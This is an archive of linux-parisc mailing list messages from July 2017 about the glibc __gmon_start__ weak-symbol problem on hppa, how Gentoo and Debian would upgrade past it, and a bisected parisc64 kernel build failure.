Original-Received: from [192.168.0.125] (really [69.156.6.177]) by torspm01.bell.net
          with ESMTP
          id <20170718143219.WCBX7841.torspm01.bell.net@[192.168.0.125]>;
          Tue, 18 Jul 2017 10:32:19 -0400
In-Reply-To: <e2995a78-a001-c142-4fbd-0c09abf3b9be@bell.net>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=e4fpceh/ c=1 sm=0 tr=0 a=3ltiz+tVjlZyyvKV74jFzA==:17 a=IkcTkHD0fZMA:10 a=G3gG6ho9WtcA:10 a=CCpqsmhAAAAA:8 a=FBHGMhGWAAAA:8 a=68co5YC1XIxUJF55JLkA:9 a=QEXdDO2ut3YA:10 a=ul9cdbp4aOFLsgKbc677:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27566
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27566>

On 2017-07-17 12:33 PM, John David Anglin wrote:
> I would like to know if the gentoo folks would consider fixing the 
> __gmon_start__ bug:
> https://sourceware.org/bugzilla/show_bug.cgi?id=19170
>
> There is some risk in applying the patch as rebuilding a library 
> package may break other
> packages which depend on the library.  This could break critical tools 
> such as binutils and
> gcc.  In which case, some manual intervention may be needed. However, 
> the transition
> on Debian went fairly smoothly.  As a result, we no longer have the 
> external symbol
> __gmon_start exposed and we have correct library dependencies.
>
> The issues with _init referred to in the BZ report are fixed.  It is 
> now PIC; and PIE applications
> work on hppa thanks to Alan Modra.
Helge: we need to add PIE load address to the kernel TODO list if it's 
not already there.
>
> Although not ideal, we could keep the __gmon_start__ patch in Debian.
>
The other approach is to install the __gmon_start__ patch and let gentoo 
revert it.  I'm starting
to think this is best.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc updated
Date: Tue, 18 Jul 2017 17:13:20 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <7d699079b866802cfcbe1a98c1dea56d@sf-tec.de>
References: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net>
 <CAE2sS1hWWdMMWMUeC3LwMJtiY8_V5ugNO7G9sz5mRHcoF7JeQg@mail.gmail.com>
 <e2995a78-a001-c142-4fbd-0c09abf3b9be@bell.net>
 <23667583-845e-3ce9-f327-456fd042cc32@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1500391209 6474 195.159.176.226 (18 Jul 2017 15:20:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Jul 2017 15:20:09 +0000 (UTC)
User-Agent: Roundcube Webmail/1.2.5
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 18 17:20:05 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXUI2-0006pL-Fo
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Jul 2017 17:19:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751439AbdGRPUE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 11:20:04 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:46523 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751413AbdGRPUD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 11:20:03 -0400
X-Greylist: delayed 401 seconds by postgrey-1.27 at vger.kernel.org; Tue, 18 Jul 2017 11:20:03 EDT
Original-Received: (qmail 20836 invoked from network); 18 Jul 2017 15:13:20 -0000
Original-Received: from mail.sf-mail.de ([::ffff:78.47.74.12]:41638 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-GCM-SHA384 encrypted) ESMTPSA
        for <linux-parisc@vger.kernel.org>; Tue, 18 Jul 2017 17:13:20 +0200
In-Reply-To: <23667583-845e-3ce9-f327-456fd042cc32@bell.net>
X-Sender: eike-kernel@sf-tec.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27567>

Am 2017-07-18 16:32, schrieb John David Anglin:
> On 2017-07-17 12:33 PM, John David Anglin wrote:
>> I would like to know if the gentoo folks would consider fixing the 
>> __gmon_start__ bug:
>> https://sourceware.org/bugzilla/show_bug.cgi?id=19170
>> 
>> There is some risk in applying the patch as rebuilding a library 
>> package may break other
>> packages which depend on the library.  This could break critical tools 
>> such as binutils and
>> gcc.  In which case, some manual intervention may be needed. However, 
>> the transition
>> on Debian went fairly smoothly.  As a result, we no longer have the 
>> external symbol
>> __gmon_start exposed and we have correct library dependencies.
>> 
>> The issues with _init referred to in the BZ report are fixed.  It is 
>> now PIC; and PIE applications
>> work on hppa thanks to Alan Modra.
> Helge: we need to add PIE load address to the kernel TODO list if it's
> not already there.
>> 
>> Although not ideal, we could keep the __gmon_start__ patch in Debian.
>> 
> The other approach is to install the __gmon_start__ patch and let
> gentoo revert it.  I'm starting
> to think this is best.

I don't think there will be a big problem for Gentoo to accept it, as 
long as there is a working upgrade path like "build glibc with flag 
-special-foo, rebuild system, remove flag and rebuild glibc again". And 
of course a hint in the release notes so it will be obvious to the 
packagers what they have to take care of. That flag thing is something 
that Gentoo probably can add to their build scripts, something that e.g. 
keeps the symbol in the lib without exporting it during linking, so it 
would be resolvable first and the reference goes away on rebuild. Or 
whatever ;)

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: parisc:generic-64bit_defconfig build failures due to 'kbuild: handle
 libs-y archives separately...'
Date: Tue, 18 Jul 2017 08:21:25 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <20170718152125.GA15577@roeck-us.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1500391294 24189 195.159.176.226 (18 Jul 2017 15:21:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Jul 2017 15:21:34 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-kernel@vger.kernel.org,
        Masahiro Yamada <yamada.masahiro@socionext.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Nicholas Piggin <npiggin@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 18 17:21:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXUJQ-0002Mz-DI
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Jul 2017 17:21:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751430AbdGRPVa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 11:21:30 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:38979 "EHLO
        bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751413AbdGRPV3 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 11:21:29 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=roeck-us.net; s=default; h=Content-Type:MIME-Version:Message-ID:Subject:Cc:
        To:From:Date:Sender:Reply-To:Content-Transfer-Encoding:Content-ID:
        Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
        :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
        List-Subscribe:List-Post:List-Owner:List-Archive;
        bh=nUGoMFHk9kx8CxM0TpZxlgDKa1w6Z6gwurpDVuc5HOo=; b=Nxuv55Rhi0hxZN4XonPPLZ6215
        Xm+1x8JRHOrHh0zckIu88p34cU6aQtFc8orA/Xn4b+1/YCNxzMPgEbvWa5xnwjpIMAsGjoncNVLG5
        CXrHm3+UfHnw2D+stinlyuzJw3tZhbixtgPWEqmynRyXiW/XeegL0PQsD30hyD8aowFTEFaZAqQyl
        IPHpXTPuM/+Fe+pYUVMVDF+U+2ZDdQjc4K72xq+PTCnhxbrTGR2IRk0o0jQLjISGjV6C/Abz1OxFh
        XufMFoQcl81R0ddGAb6vcWSnQ9WMGrKxFzL+oPv0YZEe3JSUsD87IFVbzr4o2I2kqYxNbWXPcc5FK
        Y3vjWY 
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:40698 helo=localhost)
        by bh-25.webhostbox.net with esmtpsa (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128)
        (Exim 4.89)
        (envelope-from <linux@roeck-us.net>)
        id 1dXUJS-000Z08-AX; Tue, 18 Jul 2017 15:21:28 +0000
Content-Disposition: inline
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: authenticated_id: guenter@roeck-us.net
X-Authenticated-Sender: bh-25.webhostbox.net: guenter@roeck-us.net
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27568 gmane.linux.kernel:2526415
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27568>

Hi,

parisc64 builds, specifically generic-64bit_defconfig, fail to build
in mainline as follows.

hppa64-linux-ld:
hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divdi3.o)(.text+0xec):
cannot reach $$divU
hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divdi3.o):
In function `__divdi3':
libgcc2.c:(.text+0xec): relocation truncated to fit: R_PARISC_PCREL22F against
symbol `$$divU' defined in .text.div section in
hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divU.o)
hppa64-linux-ld:
hppa64-linux/bin/../lib/gcc/hppa64-linux/4.9.0/libgcc.a(_divdi3.o)(.text+0x150):
cannot reach $$divU

[ and many more ]

This is after enabling CONFIG_MLONGCALLS; otherwise build failures are
more severe.

Building with gcc 6.3.0 fails as well with the same error.

Bisect points to commit 3a166fc2d4ef ("kbuild: handle libs-y archives
separately from built-in.o archives") as the culprit. Bisect log is
attached.

Guenter

---
# bad: [5771a8c08880cdca3bfb4a3fc6d309d6bba20877] Linux v4.13-rc1
# good: [9f45efb9286268e01d5022d34a58a68f53ca3072] Merge branch 'akpm' (patches from Andrew)
git bisect start 'HEAD~1' '9f45efb92862'
# bad: [af3c8d98508d37541d4bf57f13a984a7f73a328c] Merge tag 'drm-for-v4.13' of git://people.freedesktop.org/~airlied/linux
git bisect bad af3c8d98508d37541d4bf57f13a984a7f73a328c
# good: [305b9eddeec6d47778aafeded63ee8f37b9ddce0] Merge tag 'drm-intel-next-2017-06-19' of git://anongit.freedesktop.org/git/drm-intel into drm-next
git bisect good 305b9eddeec6d47778aafeded63ee8f37b9ddce0
# good: [ef3ad0898a60d30da7f170032992914998c366e5] Merge tag 'linux-kselftest-4.13-rc1-update' of git://git.kernel.org/pub/scm/linux/kernel/git/shuah/linux-kselftest
git bisect good ef3ad0898a60d30da7f170032992914998c366e5
# bad: [026d15f6b9878794fae1f794cae881ccd65052e5] Merge branch 'for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/shli/md
git bisect bad 026d15f6b9878794fae1f794cae881ccd65052e5
# bad: [8b6b3172ce02aef147f74b32ea11796c580f795c] Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net
git bisect bad 8b6b3172ce02aef147f74b32ea11796c580f795c
# bad: [33198c165b7afd500f7b6b7680ef994296805ef0] Merge tag 'for-linus-v4.13-1' of git://git.kernel.org/pub/scm/linux/kernel/git/jlayton/linux
git bisect bad 33198c165b7afd500f7b6b7680ef994296805ef0
# bad: [98ced886dd79a7028d203ed8adea8452bbfb47b6] Merge tag 'kbuild-thinar-v4.13' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-kbuild
git bisect bad 98ced886dd79a7028d203ed8adea8452bbfb47b6
# good: [16ffc4c39415e62c1d027d1bc59ee28e267d59f2] Merge tag 'kbuild-misc-v4.13' of git://git.kernel.org/pub/scm/linux/kernel/git/masahiroy/linux-kbuild
git bisect good 16ffc4c39415e62c1d027d1bc59ee28e267d59f2
# bad: [3a166fc2d4ef7a6b7e440271ee6bd1799c066605] kbuild: handle libs-y archives separately from built-in.o archives
git bisect bad 3a166fc2d4ef7a6b7e440271ee6bd1799c066605
# good: [df91b0262e2cff23db5eac77126ea0bef06d54d2] ia64: remove unneeded extra-y in Makefile.gate
git bisect good df91b0262e2cff23db5eac77126ea0bef06d54d2
# good: [9a6cfca4f4130444cb02536a4fdf7b6e285c713e] kbuild: thin archives use P option to ar
git bisect good 9a6cfca4f4130444cb02536a4fdf7b6e285c713e
# first bad commit: [3a166fc2d4ef7a6b7e440271ee6bd1799c066605] kbuild: handle libs-y archives separately from built-in.o archives
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc updated
Date: Tue, 18 Jul 2017 12:30:46 -0400
Lines: 110
Approved: news@gmane.org
Message-ID: <f00975c4-8a3b-06c6-79b4-ad8559828e98@bell.net>
References: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net>
 <CAE2sS1hWWdMMWMUeC3LwMJtiY8_V5ugNO7G9sz5mRHcoF7JeQg@mail.gmail.com>
 <e2995a78-a001-c142-4fbd-0c09abf3b9be@bell.net>
 <23667583-845e-3ce9-f327-456fd042cc32@bell.net>
 <7d699079b866802cfcbe1a98c1dea56d@sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1500395457 14529 195.159.176.226 (18 Jul 2017 16:30:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Jul 2017 16:30:57 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 18 18:30:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXVOW-0002Gs-45
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Jul 2017 18:30:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751405AbdGRQau (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 12:30:50 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:36845 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751381AbdGRQat (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 12:30:49 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170718163047.WSRM11748.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 18 Jul 2017 12:30:47 -0400
Original-Received: from [192.168.0.125] (really [69.156.6.177]) by mtlspm02.bell.net
          with ESMTP
          id <20170718163047.GKYJ3958.mtlspm02.bell.net@[192.168.0.125]>;
          Tue, 18 Jul 2017 12:30:47 -0400
In-Reply-To: <7d699079b866802cfcbe1a98c1dea56d@sf-tec.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=Cczn3Pjl c=1 sm=0 tr=0 a=3ltiz+tVjlZyyvKV74jFzA==:17 a=IkcTkHD0fZMA:10 a=G3gG6ho9WtcA:10 a=CCpqsmhAAAAA:8 a=FBHGMhGWAAAA:8 a=PWSU_y8aFVvif2ojcCUA:9 a=QEXdDO2ut3YA:10 a=ul9cdbp4aOFLsgKbc677:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27569
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27569>

Hi Eike,

On 2017-07-18 11:13 AM, Rolf Eike Beer wrote:
> Am 2017-07-18 16:32, schrieb John David Anglin:
>> On 2017-07-17 12:33 PM, John David Anglin wrote:
>>> I would like to know if the gentoo folks would consider fixing the 
>>> __gmon_start__ bug:
>>> https://sourceware.org/bugzilla/show_bug.cgi?id=19170
>>>
>>> There is some risk in applying the patch as rebuilding a library 
>>> package may break other
>>> packages which depend on the library.  This could break critical 
>>> tools such as binutils and
>>> gcc.  In which case, some manual intervention may be needed. 
>>> However, the transition
>>> on Debian went fairly smoothly.  As a result, we no longer have the 
>>> external symbol
>>> __gmon_start exposed and we have correct library dependencies.
>>>
>>> The issues with _init referred to in the BZ report are fixed. It is 
>>> now PIC; and PIE applications
>>> work on hppa thanks to Alan Modra.
>> Helge: we need to add PIE load address to the kernel TODO list if it's
>> not already there.
>>>
>>> Although not ideal, we could keep the __gmon_start__ patch in Debian.
>>>
>> The other approach is to install the __gmon_start__ patch and let
>> gentoo revert it.  I'm starting
>> to think this is best.
>
> I don't think there will be a big problem for Gentoo to accept it, as 
> long as there is a working upgrade path like "build glibc with flag 
> -special-foo, rebuild system, remove flag and rebuild glibc again". 
> And of course a hint in the release notes so it will be obvious to the 
> packagers what they have to take care of. That flag thing is something 
> that Gentoo probably can add to their build scripts, something that 
> e.g. keeps the symbol in the lib without exporting it during linking, 
> so it would be resolvable first and the reference goes away on 
> rebuild. Or whatever ;)
I'm not sure you fully understand the issue.  It doesn't involve doing 
anything special in building glibc.

The issue is this code in glibc's crtn.S:

/* Note that we cannot have a weak undefined __gmon_start__, because
    that would require this to be PIC, and the linker is currently not
    able to generate a proper procedure descriptor for _init.  Sad but
    true.  Anyway, HPPA is one of those horrible architectures where
    making the comparison and indirect call is quite expensive (see the
    comment in sysdeps/generic/initfini.c). */
         .text
         .align 4
         .weak   __gmon_start__
         .type    __gmon_start__,@function
__gmon_start__:
         .proc
         .callinfo
         .entry
         bv,n %r0(%r2)
         .exit
         .procend

The above hunk of code results in a weak __gmon_start__ function in 
every shared library.
The function needs to be removed.

As can be seen, the function does nothing.  It is called once when a 
shared library is loaded.

In an application link, __gmon_start__ is resolved to one of the shared 
libraries used by
the application.  If this library is relinked against the new glibc, the 
application may break if
the dynamic linker isn't able to resolve __gmon_start__.  In that case, 
the application needs
to be rebuilt.  The function pointer used to call __gmon_start__ becomes 
a NULL pointer
except when one does a profiled link requiring __gmon_start__.

The difficulty is in knowing which applications need rebuilding and it's 
possible something
critical might break in the upgrade process.  Rebuilding went okay on 
Debian but a few
applications needed rebuilding.

A patch to change __gmon_start__ to undefined weak is referenced in the 
above BZ link.
Gentoo would have to revert the change to keep the current behavior 
where __gmon_start__
is a defined weak symbol.  I don't think a define to allow switching 
behavior is a good idea.

The issues referred to in the comment for  __gmon_start__ are fixed.

The presence of __gmon_start__ is a security issue, it messes up the 
linker --as-needed
option, and a small performance issue.  Applications end up needing 
unnecessary libraries.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc updated
Date: Tue, 18 Jul 2017 21:39:22 +0200
Lines: 105
Approved: news@gmane.org
Message-ID: <4158728.XctjvHHbYe@daneel.sf-tec.de>
References: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net> <7d699079b866802cfcbe1a98c1dea56d@sf-tec.de> <f00975c4-8a3b-06c6-79b4-ad8559828e98@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2199265.3GvzNkY2DL"; micalg="pgp-"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1500406772 15603 195.159.176.226 (18 Jul 2017 19:39:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 18 Jul 2017 19:39:32 +0000 (UTC)
User-Agent: KMail/4.14.10 (Linux/4.12.2-1.g1b6adc0-default; KDE/4.14.25; x86_64; ; )
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 18 21:39:27 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dXYL8-0006qa-03
	for glpp-linux-parisc@m.gmane.org; Tue, 18 Jul 2017 21:39:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751465AbdGRTjb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 18 Jul 2017 15:39:31 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:35503 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751427AbdGRTjb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 18 Jul 2017 15:39:31 -0400
Original-Received: (qmail 26061 invoked from network); 18 Jul 2017 19:39:28 -0000
Original-Received: from dslb-088-071-170-231.088.071.pools.vodafone-ip.de ([::ffff:88.71.170.231]:38586 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
        for <linux-parisc@vger.kernel.org>; Tue, 18 Jul 2017 21:39:28 +0200
In-Reply-To: <f00975c4-8a3b-06c6-79b4-ad8559828e98@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27570
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27570>

--nextPart2199265.3GvzNkY2DL
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

John David Anglin wrote:
> On 2017-07-18 11:13 AM, Rolf Eike Beer wrote:
> > Am 2017-07-18 16:32, schrieb John David Anglin:
> >> On 2017-07-17 12:33 PM, John David Anglin wrote:
> >>> I would like to know if the gentoo folks would consider fixing the
> >>> __gmon_start__ bug:
> >>> https://sourceware.org/bugzilla/show_bug.cgi?id=19170
> >>> 
> >>> There is some risk in applying the patch as rebuilding a library
> >>> package may break other
> >>> packages which depend on the library.  This could break critical
> >>> tools such as binutils and
> >>> gcc.  In which case, some manual intervention may be needed.
> >>> However, the transition
> >>> on Debian went fairly smoothly.  As a result, we no longer have the
> >>> external symbol
> >>> __gmon_start exposed and we have correct library dependencies.
> >>> 
> >>> The issues with _init referred to in the BZ report are fixed. It is
> >>> now PIC; and PIE applications
> >>> work on hppa thanks to Alan Modra.
> >> 
> >> Helge: we need to add PIE load address to the kernel TODO list if it's
> >> not already there.
> >> 
> >>> Although not ideal, we could keep the __gmon_start__ patch in Debian.
> >> 
> >> The other approach is to install the __gmon_start__ patch and let
> >> gentoo revert it.  I'm starting
> >> to think this is best.
> > 
> > I don't think there will be a big problem for Gentoo to accept it, as
> > long as there is a working upgrade path like "build glibc with flag
> > -special-foo, rebuild system, remove flag and rebuild glibc again".
> > And of course a hint in the release notes so it will be obvious to the
> > packagers what they have to take care of. That flag thing is something
> > that Gentoo probably can add to their build scripts, something that
> > e.g. keeps the symbol in the lib without exporting it during linking,
> > so it would be resolvable first and the reference goes away on
> > rebuild. Or whatever ;)
> 
> I'm not sure you fully understand the issue.  It doesn't involve doing
> anything special in building glibc.
> 
> The issue is this code in glibc's crtn.S:
> 
> /* Note that we cannot have a weak undefined __gmon_start__, because
>     that would require this to be PIC, and the linker is currently not
>     able to generate a proper procedure descriptor for _init.  Sad but
>     true.  Anyway, HPPA is one of those horrible architectures where
>     making the comparison and indirect call is quite expensive (see the
>     comment in sysdeps/generic/initfini.c). */
>          .text
>          .align 4
>          .weak   __gmon_start__
>          .type    __gmon_start__,@function
> __gmon_start__:
>          .proc
>          .callinfo
>          .entry
>          bv,n %r0(%r2)
>          .exit
>          .procend
> 
> The above hunk of code results in a weak __gmon_start__ function in
> every shared library.
> The function needs to be removed.
> 
> As can be seen, the function does nothing.  It is called once when a
> shared library is loaded.
> 
> In an application link, __gmon_start__ is resolved to one of the shared
> libraries used by the application.

So, this would be a problem if the application only links to glibc (and it's 
libraries), no? The problem is not rebuilding, Gentoo is actually totally 
about rebuilding your system every now and then ;) The point is: what must be 
done to have an upgrade path from the old glibc to the new one that will not 
break the system on the way.

Eike
--nextPart2199265.3GvzNkY2DL
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iEYEABECAAYFAlluY/AACgkQXKSJPmm5/E79wgCgmlXGje7vWJmhPNV5NczTzUyz
Z7sAnRWwMRdGMYhl3P3RDigjhpRckrp5
=yzWg
-----END PGP SIGNATURE-----

--nextPart2199265.3GvzNkY2DL--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc updated
Date: Tue, 18 Jul 2017 16:26:37 -0400
Lines: 99
Approved: news@gmane.org
Message-ID: <374e365f-a708-2474-2ddd-df77029b818e@bell.net>
References: <DFA251E0-F7AD-4F50-8012-13FD30535EC2@bell.net>
 <7d699079b866802cfcbe1a98c1dea56d@sf-tec.de>
 <f00975c4-8a3b-06c6-79b4-ad8559828e98@bell.net>
 <4158728.XctjvHHbYe@daneel.sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
